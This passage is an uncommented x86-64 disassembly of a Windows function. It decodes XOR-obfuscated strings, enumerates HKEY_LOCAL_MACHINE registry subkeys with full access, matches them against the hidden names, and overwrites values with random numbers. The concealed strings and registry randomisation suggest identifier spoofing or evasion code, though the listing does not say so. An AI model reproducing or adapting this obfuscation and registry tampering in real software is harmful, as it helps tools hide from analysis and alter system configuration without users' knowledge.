lea r8, [rsp + 0x40]
lea r8, [r8 + rax*2]
nop dword [rax]
mov eax, 0x66666667
lea r8, [r8 + 2]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
shl ax, 2
add dx, ax
movzx eax, cx
add dx, dx
inc ecx
sub ax, dx
sub ax, 0x75
xor word [r8 - 2], ax
cmp ecx, 0x11
jl 0x14001a310
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x20]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
test eax, eax
jne 0x14001a5eb
movzx eax, word [0x14002b640]
mov ecx, ebx
mov word [rsp + 0x60], ax
movups xmm4, xmmword [0x14002b620]
movups xmm0, xmmword [0x14002b630]
movups xmmword [rsp + 0x40], xmm4
movups xmmword [rsp + 0x50], xmm0
cmp esi, 2
jl 0x14001a534
movdqa xmm2, xmm7
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
punpckldq xmm2, xmm7
pmuldq xmm2, xmm6
shufps xmm2, xmm0, 0xdd
movdqa xmm0, xmm7
psrad xmm2, 2
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
movq xmm2, xmm9
pmulld xmm1, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
pshufd xmm3, xmm1, 0xd8
movq xmm1, xmm4
psubw xmm3, xmm2
movdqa xmm2, xmm11
xorps xmm3, xmm1
punpckldq xmm2, xmm11
pmuldq xmm2, xmm6
movq qword [rsp + 0x40], xmm3
shufps xmm2, xmm0, 0xdd
movdqa xmm0, xmm11
psrad xmm2, 2
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
movq xmm2, xmm9
pmulld xmm1, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rsp + 0x48]
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
movdqa xmm2, xmm10
xorps xmm3, xmm0
punpckldq xmm2, xmm10
pmuldq xmm2, xmm6
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
movq qword [rsp + 0x48], xmm3
shufps xmm2, xmm0, 0xdd
movdqa xmm0, xmm10
psrad xmm2, 2
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
movq xmm2, xmm9
pmulld xmm1, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rsp + 0x50]
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
movdqa xmm2, xmm12
xorps xmm3, xmm0
punpckldq xmm2, xmm12
pmuldq xmm2, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
movq qword [rsp + 0x50], xmm3
shufps xmm2, xmm0, 0xdd
movdqa xmm0, xmm12
psrad xmm2, 2
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movq xmm2, xmm9
movq xmm0, qword [rsp + 0x58]
mov ecx, 0x10
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rsp + 0x58], xmm3
mov eax, ecx
lea r8, [rsp + 0x40]
lea r8, [r8 + rax*2]
nop
mov eax, 0x66666667
lea r8, [r8 + 2]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
shl ax, 2
add dx, ax
movzx eax, cx
add dx, dx
inc ecx
sub ax, dx
sub ax, 0x75
xor word [r8 - 2], ax
cmp ecx, 0x11
jl 0x14001a540
lea rax, [rbp - 0x38]
mov qword [rbp - 0x38], rbx
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, [rbp - 0x20]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14001a5eb
mov rdi, qword [rbp - 0x38]
xor eax, eax
mov dword [rbp - 0x24], eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov dword [rbp - 0x28], eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov dword [rsp + 0x28], 8
lea rdx, [rsp + 0x40]
mov dword [rbp - 0x24], eax
mov r9d, 0xb
lea rax, [rbp - 0x28]
xor r8d, r8d
mov rcx, rdi
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, r14
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
movups xmm0, xmmword [0x1400291c0]
mov ecx, ebx
movups xmm1, xmmword [0x1400291d0]
movzx eax, word [0x140029250]
movups xmmword [rbp - 0x20], xmm0
movups xmm0, xmmword [0x1400291e0]
movups xmmword [rbp], xmm0
movups xmm0, xmmword [0x140029200]
movups xmmword [rbp - 0x10], xmm1
movups xmm1, xmmword [0x1400291f0]
movups xmmword [rbp + 0x20], xmm0
movups xmm0, xmmword [0x140029220]
movups xmmword [rbp + 0x10], xmm1
movups xmm1, xmmword [0x140029210]
movups xmmword [rbp + 0x40], xmm0
movups xmm0, xmmword [0x140029240]
movups xmmword [rbp + 0x30], xmm1
movups xmm1, xmmword [0x140029230]
movups xmmword [rbp + 0x60], xmm0
mov qword [rbp - 0x60], rbx
movups xmmword [rbp + 0x50], xmm1
mov word [rbp + 0x70], ax
cmp esi, 2
jl 0x14001a770
lea rdx, [rbp - 0x20]
nop word [rax + rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 0x10]
paddd xmm2, xmm7
add ecx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rdx - 0x10]
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rdx - 0x10], xmm3
paddd xmm2, xmm7
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rdx - 8]
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rdx - 8], xmm3
cmp ecx, 0x48
jl 0x14001a680
cmp ecx, 0x49
jge 0x14001a7b8
movsxd rax, ecx
lea r8, [rbp - 0x20]
lea r8, [r8 + rax*2]
nop dword [rax + rax]
mov eax, 0x66666667
lea r8, [r8 + 2]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
shl ax, 2
add dx, ax
movzx eax, cx
add dx, dx
inc ecx
sub ax, dx
sub ax, 0x75
xor word [r8 - 2], ax
cmp ecx, 0x49
jl 0x14001a780
lea rax, [rbp - 0x60]
mov r9d, 0xf003f
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, [rbp - 0x20]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov r12d, 0xff8c
mov r13d, 0xff8d
mov r15d, 0xff8e
test eax, eax
jne 0x14001a937
mov rdi, qword [rbp - 0x60]
lea rcx, [rbp - 0x20]
xor edx, edx
mov r8d, 0x208
call sub.VCRUNTIME140.dll_memset
mov qword [rsp + 0x38], rbx
lea r9, [rbp - 0x30]
mov qword [rsp + 0x30], rbx
lea r8, [rbp - 0x20]
mov qword [rsp + 0x28], rbx
xor edx, edx
mov rcx, rdi
mov qword [rsp + 0x20], rbx
mov r14d, ebx
mov dword [rbp - 0x30], 0x208
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x14001a92e
nop dword [rax]
nop word [rax + rax]
lea rax, [rbp - 0x40]
mov qword [rbp - 0x40], rbx
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, [rbp - 0x20]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x14001a8b8
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rsp + 0x38], rbx
lea r9, [rbp - 0x30]
mov qword [rsp + 0x30], rbx
lea r8, [rbp - 0x20]
inc r14d
mov qword [rsp + 0x28], rbx
mov edx, r14d
mov qword [rsp + 0x20], rbx
mov rcx, rdi
mov dword [rbp - 0x30], 0x208
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
je 0x14001a850
jmp 0x14001a92e
movups xmm0, xmmword [0x14002a478]
movzx eax, word [0x14002a488]
lea r8, [rsp + 0x40]
mov ecx, 0x48
lea rdx, [rbp - 0x20]
movups xmmword [rsp + 0x40], xmm0
xor word [rsp + 0x42], r12w
xor word [rsp + 0x44], r13w
xor word [rsp + 0x46], r15w
mov word [rsp + 0x40], cx
mov ecx, 0xff8f
xor word [rsp + 0x48], cx
mov ecx, 0xff90
xor word [rsp + 0x4a], cx
mov ecx, 0xff91
xor word [rsp + 0x4c], cx
mov ecx, 0xff92
xor word [rsp + 0x4e], cx
mov ecx, 0xff93
xor ax, cx
mov rcx, qword [rbp - 0x40]
mov word [rsp + 0x50], ax
call fcn.140016330
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
movups xmm0, xmmword [0x140028d20]
mov ecx, ebx
movups xmm1, xmmword [0x140028d30]
mov eax, dword [0x140028d98]
movups xmmword [rbp - 0x20], xmm0
movups xmm0, xmmword [0x140028d40]
movups xmmword [rbp], xmm0
movups xmm0, xmmword [0x140028d60]
movups xmmword [rbp + 0x20], xmm0
movups xmm0, xmmword [0x140028d80]
movups xmmword [rbp - 0x10], xmm1
movups xmm1, xmmword [0x140028d50]
movups xmmword [rbp + 0x40], xmm0
movsd xmm0, qword [0x140028d90]
movups xmmword [rbp + 0x10], xmm1
movups xmm1, xmmword [0x140028d70]
movsd qword [rbp + 0x50], xmm0
mov qword [rbp - 0x60], rbx
movups xmmword [rbp + 0x30], xmm1
mov dword [rbp + 0x58], eax
cmp esi, 2
jl 0x14001aaa0
lea rdx, [rbp - 0x20]
nop dword [rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 0x10]
paddd xmm2, xmm7
add ecx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rdx - 0x10]
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rdx - 0x10], xmm3
paddd xmm2, xmm7
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rdx - 8]
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rdx - 8], xmm3
cmp ecx, 0x38
jl 0x14001a9b0
cmp ecx, 0x3e
jge 0x14001aae8
movsxd rax, ecx
lea r8, [rbp - 0x20]
lea r8, [r8 + rax*2]
nop dword [rax + rax]
mov eax, 0x66666667
lea r8, [r8 + 2]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
shl ax, 2
add dx, ax
movzx eax, cx
add dx, dx
inc ecx
sub ax, dx
sub ax, 0x75
xor word [r8 - 2], ax
cmp ecx, 0x3e
jl 0x14001aab0
lea rax, [rbp - 0x60]
mov r9d, 0xf003f
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, [rbp - 0x20]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14001b811
mov rdi, qword [rbp - 0x60]
lea rcx, [rbp - 0x20]
xor edx, edx
mov r8d, 0x208
call sub.VCRUNTIME140.dll_memset
mov qword [rsp + 0x38], rbx
lea r9, [rbp - 0x30]
mov qword [rsp + 0x30], rbx
lea r8, [rbp - 0x20]
mov qword [rsp + 0x28], rbx
xor edx, edx
mov rcx, rdi
mov qword [rsp + 0x20], rbx
mov r14d, ebx
mov dword [rbp - 0x30], 0x208
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x14001b808
lea rax, [rbp - 0x40]
mov qword [rbp - 0x40], rbx
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, [rbp - 0x20]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14001b051
movups xmm0, xmmword [0x140029750]
mov r15, qword [rbp - 0x40]
movups xmm4, xmmword [0x140029740]
pextrw eax, xmm0, 7
movups xmmword [rsp + 0x40], xmm4
movups xmmword [rsp + 0x50], xmm0
test ax, ax
je 0x14001ada1
mov ecx, ebx
cmp esi, 2
jl 0x14001ad64
movdqa xmm2, xmm7
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
punpckldq xmm2, xmm7
pmuldq xmm2, xmm6
shufps xmm2, xmm0, 0xdd
movdqa xmm0, xmm7
psrad xmm2, 2
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
movq xmm2, xmm9
pmulld xmm1, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
pshufd xmm3, xmm1, 0xd8
movq xmm1, xmm4
psubw xmm3, xmm2
movdqa xmm2, xmm11
xorps xmm3, xmm1
punpckldq xmm2, xmm11
pmuldq xmm2, xmm6
movq qword [rsp + 0x40], xmm3
shufps xmm2, xmm0, 0xdd
movdqa xmm0, xmm11
psrad xmm2, 2
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
movq xmm2, xmm9
pmulld xmm1, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rsp + 0x48]
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
movdqa xmm2, xmm10
xorps xmm3, xmm0
punpckldq xmm2, xmm10
pmuldq xmm2, xmm6
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
movq qword [rsp + 0x48], xmm3
shufps xmm2, xmm0, 0xdd
movdqa xmm0, xmm10
psrad xmm2, 2
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
movq xmm2, xmm9
pmulld xmm1, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rsp + 0x50]
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
movdqa xmm2, xmm12
xorps xmm3, xmm0
punpckldq xmm2, xmm12
pmuldq xmm2, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
movq qword [rsp + 0x50], xmm3
shufps xmm2, xmm0, 0xdd
movdqa xmm0, xmm12
psrad xmm2, 2
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movq xmm2, xmm9
movq xmm0, qword [rsp + 0x58]
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rsp + 0x58], xmm3
jmp 0x14001ada1
lea r8, [rsp + 0x40]
nop dword [rax]
mov eax, 0xcccccccd
lea r8, [r8 + 2]
mul ecx
shr edx, 3
movzx eax, dx
shl ax, 2
add dx, ax
movzx eax, cx
add dx, dx
inc ecx
sub ax, dx
sub ax, 0x75
xor word [r8 - 2], ax
cmp ecx, 0x10
jl 0x14001ad70
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x20]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
test eax, eax
je 0x14001b57b
movq xmm5, qword [0x14002c038]
mov ecx, ebx
movq qword [rsp + 0x60], xmm5
movups xmm4, xmmword [0x14002c018]
movups xmm0, xmmword [0x14002c028]
movups xmmword [rsp + 0x40], xmm4
movups xmmword [rsp + 0x50], xmm0
cmp esi, 2
jl 0x14001aff4
movdqa xmm2, xmm7
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
punpckldq xmm2, xmm7
pmuldq xmm2, xmm6
shufps xmm2, xmm0, 0xdd
movdqa xmm0, xmm7
psrad xmm2, 2
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
movq xmm2, xmm9
pmulld xmm1, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
pshufd xmm3, xmm1, 0xd8
movq xmm1, xmm4
psubw xmm3, xmm2
movdqa xmm2, xmm11
xorps xmm3, xmm1
punpckldq xmm2, xmm11
pmuldq xmm2, xmm6
movq qword [rsp + 0x40], xmm3
shufps xmm2, xmm0, 0xdd
movdqa xmm0, xmm11
psrad xmm2, 2
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
movq xmm2, xmm9
pmulld xmm1, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rsp + 0x48]
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
movdqa xmm2, xmm10
xorps xmm3, xmm0
punpckldq xmm2, xmm10
pmuldq xmm2, xmm6
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
movq qword [rsp + 0x48], xmm3
shufps xmm2, xmm0, 0xdd
movdqa xmm0, xmm10
psrad xmm2, 2
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
movq xmm2, xmm9
pmulld xmm1, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rsp + 0x50]
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
movdqa xmm2, xmm12
xorps xmm3, xmm0
punpckldq xmm2, xmm12
pmuldq xmm2, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
movq qword [rsp + 0x50], xmm3
shufps xmm2, xmm0, 0xdd
movdqa xmm0, xmm12
psrad xmm2, 2
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movq xmm2, xmm9
movq xmm0, qword [rsp + 0x58]
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
movdqa xmm2, xmm14
xorps xmm3, xmm0
punpckldq xmm2, xmm14
pmuldq xmm2, xmm6
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm6
movq qword [rsp + 0x58], xmm3
shufps xmm2, xmm0, 0xdd
movdqa xmm0, xmm14
psrad xmm2, 2
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
movq xmm2, xmm9
pmulld xmm1, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movq xmm0, xmm5
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rsp + 0x60], xmm3
jmp 0x14001b031
lea r8, [rsp + 0x40]
nop dword [rax]
mov eax, 0xcccccccd
lea r8, [r8 + 2]
mul ecx
shr edx, 3
movzx eax, dx
shl ax, 2
add dx, ax
movzx eax, cx
add dx, dx
inc ecx
sub ax, dx
sub ax, 0x75
xor word [r8 - 2], ax
cmp ecx, 0x14
jl 0x14001b000
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x20]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
test eax, eax
je 0x14001b2f0
mov rcx, r15
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rbp - 0x40]
mov qword [rbp - 0x40], rbx
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, [rbp - 0x20]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14001b2b1
movups xmm0, xmmword [0x140029750]
mov r15, qword [rbp - 0x40]
movups xmm4, xmmword [0x140029740]
pextrw eax, xmm0, 7
movups xmmword [rsp + 0x40], xmm4
movups xmmword [rsp + 0x50], xmm0
test ax, ax
je 0x14001b291
mov ecx, ebx
cmp esi, 2
jl 0x14001b254
movdqa xmm2, xmm7
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
punpckldq xmm2, xmm7
pmuldq xmm2, xmm6
shufps xmm2, xmm0, 0xdd
movdqa xmm0, xmm7
psrad xmm2, 2
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
movq xmm2, xmm9
pmulld xmm1, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
pshufd xmm3, xmm1, 0xd8
movq xmm1, xmm4
psubw xmm3, xmm2
movdqa xmm2, xmm11
xorps xmm3, xmm1
punpckldq xmm2, xmm11
pmuldq xmm2, xmm6
movq qword [rsp + 0x40], xmm3
shufps xmm2, xmm0, 0xdd
movdqa xmm0, xmm11
psrad xmm2, 2
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
movq xmm2, xmm9
pmulld xmm1, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rsp + 0x48]
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
movdqa xmm2, xmm10
xorps xmm3, xmm0
punpckldq xmm2, xmm10
pmuldq xmm2, xmm6
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
movq qword [rsp + 0x48], xmm3
shufps xmm2, xmm0, 0xdd
movdqa xmm0, xmm10
psrad xmm2, 2
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
movq xmm2, xmm9
pmulld xmm1, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rsp + 0x50]
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
movdqa xmm2, xmm12
xorps xmm3, xmm0
punpckldq xmm2, xmm12
pmuldq xmm2, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
movq qword [rsp + 0x50], xmm3
shufps xmm2, xmm0, 0xdd
movdqa xmm0, xmm12
psrad xmm2, 2
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movq xmm2, xmm9
movq xmm0, qword [rsp + 0x58]
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rsp + 0x58], xmm3
jmp 0x14001b291
lea r8, [rsp + 0x40]
nop dword [rax]
mov eax, 0xcccccccd
lea r8, [r8 + 2]
mul ecx
shr edx, 3
movzx eax, dx
shl ax, 2
add dx, ax
movzx eax, cx
add dx, dx
inc ecx
sub ax, dx
sub ax, 0x75
xor word [r8 - 2], ax
cmp ecx, 0x10
jl 0x14001b260
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x20]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
test eax, eax
je 0x14001b5e6
mov rcx, r15
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rsp + 0x38], rbx
lea r9, [rbp - 0x30]
mov qword [rsp + 0x30], rbx
lea r8, [rbp - 0x20]
inc r14d
mov qword [rsp + 0x28], rbx
mov edx, r14d
mov qword [rsp + 0x20], rbx
mov rcx, rdi
mov dword [rbp - 0x30], 0x208
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
je 0x14001ab61
jmp 0x14001b802
movq xmm5, qword [0x14002c038]
mov ecx, ebx
movq qword [rsp + 0x60], xmm5
movups xmm4, xmmword [0x14002c018]
movups xmm0, xmmword [0x14002c028]
movups xmmword [rsp + 0x40], xmm4
movups xmmword [rsp + 0x50], xmm0
cmp esi, 2
jl 0x14001b52e
movdqa xmm2, xmm7
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
punpckldq xmm2, xmm7
pmuldq xmm2, xmm6
shufps xmm2, xmm0, 0xdd
movdqa xmm0, xmm7
psrad xmm2, 2
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
movq xmm2, xmm9
pmulld xmm1, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
pshufd xmm3, xmm1, 0xd8
movq xmm1, xmm4
psubw xmm3, xmm2
movdqa xmm2, xmm11
xorps xmm3, xmm1
punpckldq xmm2, xmm11
pmuldq xmm2, xmm6
movq qword [rsp + 0x40], xmm3
shufps xmm2, xmm0, 0xdd
movdqa xmm0, xmm11
psrad xmm2, 2
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
movq xmm2, xmm9
pmulld xmm1, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rsp + 0x48]
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
movdqa xmm2, xmm10
xorps xmm3, xmm0
punpckldq xmm2, xmm10
pmuldq xmm2, xmm6
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
movq qword [rsp + 0x48], xmm3
shufps xmm2, xmm0, 0xdd
movdqa xmm0, xmm10
psrad xmm2, 2
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
movq xmm2, xmm9
pmulld xmm1, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rsp + 0x50]
pshufd xmm3, xmm1, 0xd8
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
psubw xmm3, xmm2
xorps xmm3, xmm0
pmuldq xmm1, xmm6
movdqa xmm0, xmm12
movq qword [rsp + 0x50], xmm3
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm12, xmm0
pshufhw xmm0, xmm12, 0xd8
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rsp + 0x58]
lea r8, [rsp + 0x40]
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
psubw xmm3, xmm2
movdqa xmm1, xmm14
xorps xmm3, xmm0
punpckldq xmm1, xmm14
pmuldq xmm1, xmm6
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
